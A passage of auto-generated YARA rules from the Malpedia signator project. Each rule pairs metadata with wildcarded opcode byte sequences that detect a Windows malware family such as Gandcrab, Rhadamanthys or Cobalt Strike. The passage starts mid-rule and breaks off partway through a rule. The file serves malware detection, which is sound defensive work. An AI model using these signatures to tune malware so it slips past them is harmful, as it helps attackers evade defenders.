		$sequence_3 = { eb04 33c0 8bd8 b978110000 e8???????? 488bf8 48894540 }
		$sequence_4 = { 488d4d28 e8???????? 884529 33d2 488d4d28 e8???????? 88452a }
		$sequence_5 = { 488d8d00010000 e8???????? 88850f010000 33d2 488d8d00010000 e8???????? 888510010000 }
		$sequence_6 = { e8???????? 488d8598070000 488985b80c0000 c6454069 b273 488d4d40 e8???????? }
		$sequence_7 = { 48897820 488b05???????? 4833c4 488985f0020000 bae9030000 ff15???????? 488bf0 }
		$sequence_8 = { e8???????? 8885d7060000 33d2 488d8dd0060000 e8???????? 8885d8060000 b26b }
		$sequence_9 = { 8885f60b0000 b23c 488d8d300b0000 e8???????? 8885f70b0000 33d2 488d8d300b0000 }
	condition:
		7 of them and filesize < 3921930
}

rule MALPEDIA_Win_Sidewinder_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cc151d68-8079-5f48-8578-23ad18a0a4e7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sidewinder_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "e4a063cf875d6c669e0a5700a0f46ba681b39263a023b07ff990bd59cdb78477"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8945cc 837dcc00 0f8e37030000 0fbf4510 85c0 740e ff75c0 }
		$sequence_1 = { dfe0 9e 740e dd45cc dc1d???????? dfe0 9e }
		$sequence_2 = { 8d45b8 50 8d45c8 50 8d45d8 50 8d45a8 }
		$sequence_3 = { dbe2 8945dc 837ddc00 7d17 6a3c 68???????? ff75ec }
		$sequence_4 = { 817da0a3000000 750a 66830d????????ff eb54 837da058 740c 837da043 }
		$sequence_5 = { 8965f8 c745fc???????? 6a02 59 e8???????? 668945e0 8b4508 }
		$sequence_6 = { 50 6a00 e8???????? 8d45d4 50 6a00 e8???????? }
		$sequence_7 = { 83a59cfeffff00 8b45a0 89853cffffff 8d855cffffff 50 8b853cffffff 8b00 }
		$sequence_8 = { eb09 8d45ec 89856cffffff 8b856cffffff 8b00 8945b0 8d45d0 }
		$sequence_9 = { e8???????? 898560ffffff eb07 83a560ffffff00 8b45c8 894588 c745b004000280 }
	condition:
		7 of them and filesize < 679936
}

rule MALPEDIA_Win_Darkshell_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0b6aea26-4d2d-5fe4-85ac-1a4c560ab87d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkshell_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "adda1c8d572ab121457592ba92d94ead9ada07c703fcce314ed00968f454839e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c004 8901 83c014 8902 6681380b01 7511 }
		$sequence_1 = { 8b442434 83c410 8b8088000000 85c0 }
		$sequence_2 = { c744246044000000 ff15???????? 8be8 85ed 0f8494000000 8bbc2488000000 }
		$sequence_3 = { 51 50 8b442420 50 ff15???????? }
		$sequence_4 = { 8d7e08 f7c2feffffff 767a 668b07 8bc8 81e100f00000 6681f90030 }
		$sequence_5 = { ffd6 5e c20400 8b15???????? }
		$sequence_6 = { 8b35???????? 48 7457 48 742b }
		$sequence_7 = { f3ab 66ab aa 8b442410 83c9ff 8b5008 33c0 }
		$sequence_8 = { 5e c20400 8b15???????? 68???????? 52 }
		$sequence_9 = { 03ca c1e80c 51 50 68???????? }
	condition:
		7 of them and filesize < 344064
}

rule MALPEDIA_Win_Gandcrab_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5425f9cd-8fb4-510e-a39f-093e7eb655d2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gandcrab_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "65a176078bb1690a98a0fbd0a289d5aa1233664bdaee132644de05bfc651c8a8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 03c3 8d5e04 03d8 837f4800 741b ff7750 ff15???????? }
		$sequence_1 = { ff777c ff15???????? ff7778 8bf0 ff15???????? }
		$sequence_2 = { ff15???????? ff7728 8bf0 ff15???????? 03c3 8d5e04 }
		$sequence_3 = { ff15???????? 03c3 8d5e04 03d8 837f3000 }
		$sequence_4 = { ff15???????? ff7734 8bf0 ff15???????? 03c3 8d5e04 }
		$sequence_5 = { 03c3 8d5e04 03d8 837f3000 741b }
		$sequence_6 = { 5f 66894c46fe 8bc6 5e }
		$sequence_7 = { ff15???????? ff7778 8bf0 ff15???????? 03c3 }
		$sequence_8 = { ff15???????? 03c3 8d5e04 03d8 837f3c00 741b ff7744 }
		$sequence_9 = { 741b ff777c ff15???????? ff7778 8bf0 }
	condition:
		7 of them and filesize < 1024000
}

rule MALPEDIA_Win_Unidentified_091_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "43cbe43d-9747-5a0c-bb40-dd9c7c940d50"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_091"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_091_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "4634e6f2999913eaf2a083116e36bae941dd940a5cf81991fb84c6cc55fc0d2d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 81e1ff00ff00 0bd1 895618 418b481c 8bd1 c1ca08 c1c108 }
		$sequence_1 = { c0e904 8885f8000000 888df9000000 0fb64a1d 0fb6c1 c0e904 240f }
		$sequence_2 = { e8???????? 85c0 743c 48ffc3 483b5c2430 72c4 488bcf }
		$sequence_3 = { 8b442448 418bd1 4133d2 c1ca10 03fa 893c24 448bc7 }
		$sequence_4 = { c1cd02 c1e718 418bc0 c1c005 4103c2 4489642418 03d0 }
		$sequence_5 = { 85c0 0f8eee000000 488d0d49421600 48894d00 48215508 48215510 ffc0 }
		$sequence_6 = { e8???????? 488bd3 488bcf 4c8bf0 8b30 c70000000000 e8???????? }
		$sequence_7 = { f30f58d0 0f57c0 0fc6d200 0f51ca 410fc2d304 0fc2c104 0f5ed9 }
		$sequence_8 = { 4c894507 48894d0f e9???????? c74424285a0a0000 ba50000000 4c89542420 41b966010000 }
		$sequence_9 = { c784248000000001000000 eb32 c7442420f6010000 baa6000000 4c8d0db8a71100 b906000000 448d42fc }
	condition:
		7 of them and filesize < 5777408
}

rule MALPEDIA_Win_Sslmm_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d8086894-ce35-51e5-80fd-c0d5178aba78"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sslmm_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "a85823710a9c9f3b9c72213ada570b2364c16fc9f2cafb50a35e2a98adedaa0a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 50 51 8bcb e8???????? 85c0 0f854d010000 }
		$sequence_1 = { 51 03ee 55 50 e8???????? 8b442478 }
		$sequence_2 = { 8bca 83e103 f3aa 8b842480000000 8b4c2420 2bc6 }
		$sequence_3 = { 5b 81c45c020000 c3 8b1d???????? 68???????? 56 }
		$sequence_4 = { 81ecc8000000 53 8bd9 8b8c24d8000000 55 }
		$sequence_5 = { 51 6a00 8d93dc000000 50 52 }
		$sequence_6 = { 33c0 5e 81c4ac010000 c21000 }
		$sequence_7 = { ff5204 33c0 5e c20c00 6a00 }
		$sequence_8 = { 68c8000000 8bf1 6a00 ffd7 8b1d???????? }
		$sequence_9 = { 83c404 40 50 53 6aff 57 6a00 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Ground_Peony_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "801058db-7b66-5372-8745-75ac698daed8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ground_peony"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ground_peony_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "e6e32f0220bb10dd7446439a2221f39d91c5ad68ccd69dfaaf804fe3b4efdc99"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d15c28a0000 488d0db38a0000 e8???????? 488b4308 833800 }
		$sequence_1 = { 4833c4 4889842460050000 488bd1 4d8d4310 498d8bd8fbffff ff15???????? }
		$sequence_2 = { eb10 488bc8 ff15???????? 488d0d251e0100 }
		$sequence_3 = { e8???????? 48b8d2bc1a37d2bc1a37 41b802000000 4889842420080000 8bd5 4889842428080000 }
		$sequence_4 = { ff15???????? 33d2 488d4c2450 41b804010000 e8???????? 41b804010000 }
		$sequence_5 = { f20f102d???????? f20f590d???????? f20f59ee f20f5ce9 f2410f1004c1 488d1536830000 }
		$sequence_6 = { 4883c428 c3 488d15878e0000 488d0d808d0000 }
		$sequence_7 = { 8b0a e8???????? 90 488d1d9e2f0100 }
		$sequence_8 = { e8???????? eb22 488d0da51a0100 e8???????? }
		$sequence_9 = { 4883ec20 488bda 4c8d0def960000 8bf9 }
	condition:
		7 of them and filesize < 217088
}

rule MALPEDIA_Win_Cargobay_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d6e48bf6-04f2-5926-86cf-d6b3d1d19c9e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cargobay"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cargobay_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "78bad24f78416452973bfe57bb2d3dc8c78eea72265f4a6384a2c196eab74e59"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 0f0b 4883ec28 4889c8 488d0d735d0e00 48894c2420 41b900010000 }
		$sequence_1 = { e8???????? 48894308 b801000000 ebd3 4881ec88000000 488d442428 488910 }
		$sequence_2 = { e8???????? 4889f1 89c2 4883c420 5e e9???????? 56 }
		$sequence_3 = { e8???????? 488d9424a0000000 440f294a10 440f2902 4c8db424e0000000 4c89f1 4989f8 }
		$sequence_4 = { e9???????? 89f9 4429e1 488b742430 8d5601 4585e4 410f94c0 }
		$sequence_5 = { 4c8ba424c8000000 4889f1 e8???????? 4885c0 7446 4989d0 4c89f1 }
		$sequence_6 = { eb0d 488908 e9???????? 440fb76734 4929d4 488d7738 31ed }
		$sequence_7 = { 49c1e104 31c0 4939c1 740b 41833c0000 488d4010 74f0 }
		$sequence_8 = { c6455e00 4c8d05ed010900 4889e9 488d5548 e8???????? 31ff 4885f6 }
		$sequence_9 = { e8???????? 4889e9 4c89ea e8???????? e9???????? 488d1512bb1200 488dbc24f0020000 }
	condition:
		7 of them and filesize < 3432448
}

rule MALPEDIA_Win_Rhadamanthys_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fbc76f02-e283-5cc2-95ab-feddb32988f8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhadamanthys_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "9730ed3bce4b206712bfc32009b2e0a70bda3b8b9f39f72ed960449e1927c991"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff7308 03c6 50 8b03 }
		$sequence_1 = { 8a01 84c0 7416 8b542408 69d293010001 }
		$sequence_2 = { 33d0 41 89542408 ebe4 }
		$sequence_3 = { 7416 8b542408 69d293010001 0fb6c0 33d0 41 }
		$sequence_4 = { 8b542408 69d293010001 0fb6c0 33d0 41 89542408 ebe4 }
		$sequence_5 = { 7416 8b542408 69d293010001 0fb6c0 33d0 }
		$sequence_6 = { 84c0 7416 8b542408 69d293010001 0fb6c0 }
		$sequence_7 = { 7416 8b542408 69d293010001 0fb6c0 33d0 41 89542408 }
		$sequence_8 = { 84c0 7416 8b542408 69d293010001 0fb6c0 33d0 }
		$sequence_9 = { 84c0 7416 8b542408 69d293010001 }
	condition:
		7 of them and filesize < 1111040
}

rule MALPEDIA_Win_Winordll64_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "42d58eb8-636f-5c90-824f-a4029c096b45"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winordll64"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winordll64_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "ff8a5b9c7eb1fcfe5982c5ada9af48d2cc2fd7ebb77ddf0083a9bd3e03ee5a02"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b55d0 488364242000 448bc1 4c8d4d48 498bcc ff15???????? 48635538 }
		$sequence_1 = { 4c8d05c8c40000 498bd4 488bcd e8???????? 85c0 }
		$sequence_2 = { 75f7 488bcf e8???????? 498b0c24 4585ed }
		$sequence_3 = { 488bcf ff15???????? 85c0 0f8575ffffff 488bcf ff15???????? b8c0020000 }
		$sequence_4 = { e8???????? 4c8d5c2430 4c895c2420 4c8d4c2438 41b807000000 488b442440 }
		$sequence_5 = { be08780000 8bce e8???????? 488bf8 4885c0 0f8422010000 48ffce }
		$sequence_6 = { 488d5547 488d4def 4c895d47 e8???????? 4c8d1d9b4a0000 488d150c640000 488d4def }
		$sequence_7 = { 48ffc1 483bca 72f0 458bc7 }
		$sequence_8 = { 418800 49ffc0 49ffc3 41d1ea 418b03 488b6c2450 be00000080 }
		$sequence_9 = { 488d542458 488d4c2428 e8???????? 4c8d1d12e50000 4c895c2428 }
	condition:
		7 of them and filesize < 278528
}

rule MALPEDIA_Win_Redyms_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ef628f44-574a-5627-8d8b-734217cd0062"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redyms"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redyms_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "332ef19bb997044700a2b380446c47adf654ddb5c63453028d068b88131edb5b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c745d800000000 8b7dd8 56 6a00 ff15???????? }
		$sequence_1 = { 53 03f7 56 57 e8???????? 83c40c }
		$sequence_2 = { 2bf7 03c7 83ee02 56 8d540802 52 53 }
		$sequence_3 = { b8???????? ffd0 898590feffff 85c0 }
		$sequence_4 = { 8b856cfdffff 50 ff15???????? 6a09 8d8d74feffff 51 68???????? }
		$sequence_5 = { 8b0f 014b2c 8b4b2c 85c0 7571 }
		$sequence_6 = { 85ff 7433 8b95ecfeffff 83c2fc }
		$sequence_7 = { 740b 50 53 ff15???????? 50 ffd6 8b45d4 }
		$sequence_8 = { 6a00 68???????? 68???????? 51 56 }
		$sequence_9 = { 8bf0 85f6 740c 8b550c 57 52 56 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Unidentified_111_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "761c3c1a-627b-5adf-b1c2-f96f11c05a94"
		date = "2023-12-06"
		modified = "2023-12-08"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_111_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "8a86a6eb9509e0a5b4e912cde53abfcabb23f3644fc565d69ca8396c5dc5d7c9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20231130"
		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
		malpedia_version = "20230808"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b4c2428 0fbe09 3bc1 7512 }
		$sequence_1 = { c744242002000000 e9???????? 837c243406 7511 837c243801 750a }
		$sequence_2 = { 8b00 488b4c2430 488b09 0fbe0401 48634c2404 488b542428 0fbe0c0a }
		$sequence_3 = { eb43 41b901000000 448b442424 488b542428 488b4c2448 e8???????? }
		$sequence_4 = { eb1f c744242000000000 4533c9 4533c0 }
		$sequence_5 = { 488b4c2448 ff15???????? 89442444 837c244400 7502 eb11 }
		$sequence_6 = { 488d8c0c60020000 ba02000000 486bd200 4803ca 448bc0 488b542420 e8???????? }
		$sequence_7 = { 66c1ca08 0fb7d2 4c8b8424a0000000 450fb74006 6641c1c808 450fb7c0 4c8b8c24a0000000 }
		$sequence_8 = { e8???????? b910000000 e8???????? 4889442448 488b442448 488b4c2450 488908 }
		$sequence_9 = { 4889542410 48894c2408 4883ec78 c744243000000000 c744243400000000 488b942488000000 488d4c2448 }
	condition:
		7 of them and filesize < 148480
}

rule MALPEDIA_Win_Nitrogen_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "75d54911-9963-5fa1-94d4-824f367ba5ac"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrogen"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitrogen_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "5f8ac2a7555dea7311ca047ff8fe4bf1acad1a9235530176528b358f16735fc3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8905???????? 488b05???????? 48ffc0 488905???????? }
		$sequence_1 = { 4898 488905???????? 8b05???????? 488905???????? }
		$sequence_2 = { 488b05???????? 89442454 8b05???????? 89442458 }
		$sequence_3 = { 4898 488905???????? 488b05???????? 4885c0 }
		$sequence_4 = { 0fbe05???????? c1e002 4898 488905???????? }
		$sequence_5 = { 668905???????? 488b05???????? 48ffc8 488905???????? }
		$sequence_6 = { 668905???????? 8b05???????? 668905???????? 8b05???????? }
		$sequence_7 = { eb35 488b05???????? 4885c0 7429 }
		$sequence_8 = { 8b05???????? ffc0 8905???????? 0fb705???????? }
		$sequence_9 = { 668905???????? 8b05???????? ffc8 8905???????? }
		$sequence_10 = { 0fb6c0 8905???????? 8b05???????? 85c0 }
		$sequence_11 = { 8905???????? 488b05???????? 480faf05???????? 488905???????? }
	condition:
		7 of them and filesize < 135349248
}

rule MALPEDIA_Win_Dnspionage_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f66d8271-cdd2-51ef-96af-74c2c2b12bda"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnspionage_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "e53e7ef31e7434c4327d38b1a8e0754ac09c84880301d9d6d51e12488698b367"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 99 52 50 e8???????? 83c408 8bd0 b9???????? }
		$sequence_1 = { 33f6 8b4608 034604 0306 50 }
		$sequence_2 = { 803d????????00 7517 c605????????01 33c0 c605????????01 5b }
		$sequence_3 = { ff15???????? 83c404 33c0 5f 5e 5b 8b4df8 }
		$sequence_4 = { 56 8d8500feffff 8bf1 50 e8???????? 838d0cfeffff07 8b4624 }
		$sequence_5 = { eb0a 8d0492 8d144509000000 8bcf 43 }
		$sequence_6 = { c7450c00000000 8d4d0c ba???????? 51 8d4df4 }
		$sequence_7 = { b9???????? e8???????? 6a00 6a01 e8???????? 8bd0 b9???????? }
		$sequence_8 = { 83c404 8bf8 33f6 0f1f4000 e8???????? 33d2 }
		$sequence_9 = { ff15???????? 83bdf8feffff00 764a ff15???????? 85c0 7540 8b85f8feffff }
	condition:
		7 of them and filesize < 786432
}

rule MALPEDIA_Win_Cobalt_Strike_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "aab8f287-0819-52fa-8447-761ad2e94a18"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cobalt_strike_auto.yar#L1-L289"
		license_url = "N/A"
		logic_hash = "6946d3d1b89ab18cd12b0ef58b50d5d28d283228462e1be6da78da0efd49ddbb"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3bc7 750d ff15???????? 3d33270000 }
		$sequence_1 = { e9???????? eb0a b801000000 e9???????? }
		$sequence_2 = { ff15???????? 85c0 741d ff15???????? 85c0 7513 }
		$sequence_3 = { ff7608 83660400 e8???????? 59 }
		$sequence_4 = { ff15???????? 59 a807 7501 4e }
		$sequence_5 = { ff75f8 ff75fc ff15???????? 83c40c eb15 ff75fc }
		$sequence_6 = { ff7604 ff75fc ff15???????? 83c410 }
		$sequence_7 = { ff15???????? 59 c70601000000 e9???????? }
		$sequence_8 = { ff7604 e8???????? 014604 83c410 014608 }
		$sequence_9 = { 85c0 7405 e8???????? 8b0d???????? 85c9 }
		$sequence_10 = { e9???????? 833d????????01 7505 e8???????? }
		$sequence_11 = { 8bd0 e8???????? 85c0 7e0e }
		$sequence_12 = { f7d8 1bc9 4423f9 488d4ddf e8???????? }
		$sequence_13 = { c1ef03 8bc7 ffc0 81ff80000000 720b eb05 }
		$sequence_14 = { 488bd7 488bcf e8???????? 85c0 7569 498bcf }
		$sequence_15 = { 83f801 750e e8???????? 4c8d2dca1e0000 eb16 e8???????? 8bd8 }
		$sequence_16 = { 7409 c745f040000000 eb07 c745f004000000 }
		$sequence_17 = { 52 8b4508 8b08 ffd1 85c0 }
		$sequence_18 = { 837d0c00 7422 837d1000 761c 837d1404 }
		$sequence_19 = { 6a20 8b4d10 51 8b550c 52 }
		$sequence_20 = { 8b5514 52 8b450c 8b4850 }
		$sequence_21 = { 56 57 8b4510 8b4850 }
		$sequence_22 = { 8b4510 8b4850 8b550c 8d440ac0 }
		$sequence_23 = { b940000000 f3aa 5f 5e }
		$sequence_24 = { 488b842490000000 8b4050 488b8c2488000000 488d4401c0 }
		$sequence_25 = { c644246856 c644246969 c644246a72 c644246b74 c644246c75 }
		$sequence_26 = { 4889442418 48837c242800 0f8496010000 488b0424 0fb700 66c1e80c }
		$sequence_27 = { 4803c8 488bc1 4889442408 488b442410 8b4004 4883e808 33d2 }
		$sequence_28 = { 488bc1 4889442450 488b442450 4883c002 488b7c2420 }
		$sequence_29 = { 488b842490000000 ff5008 488b8c2490000000 48894110 488d542458 488b4c2420 }
		$sequence_30 = { 488b0c24 0fb709 6623c8 0fb7c1 0fb7c0 488b4c2408 488b0401 }
		$sequence_31 = { c644247600 488d4c2428 488b842490000000 ff10 4889442420 }
	condition:
		7 of them and filesize < 1015808
}

rule MALPEDIA_Win_Yayih_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "20c4d84b-adf0-50ee-81d6-f74bed13f2d6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih"
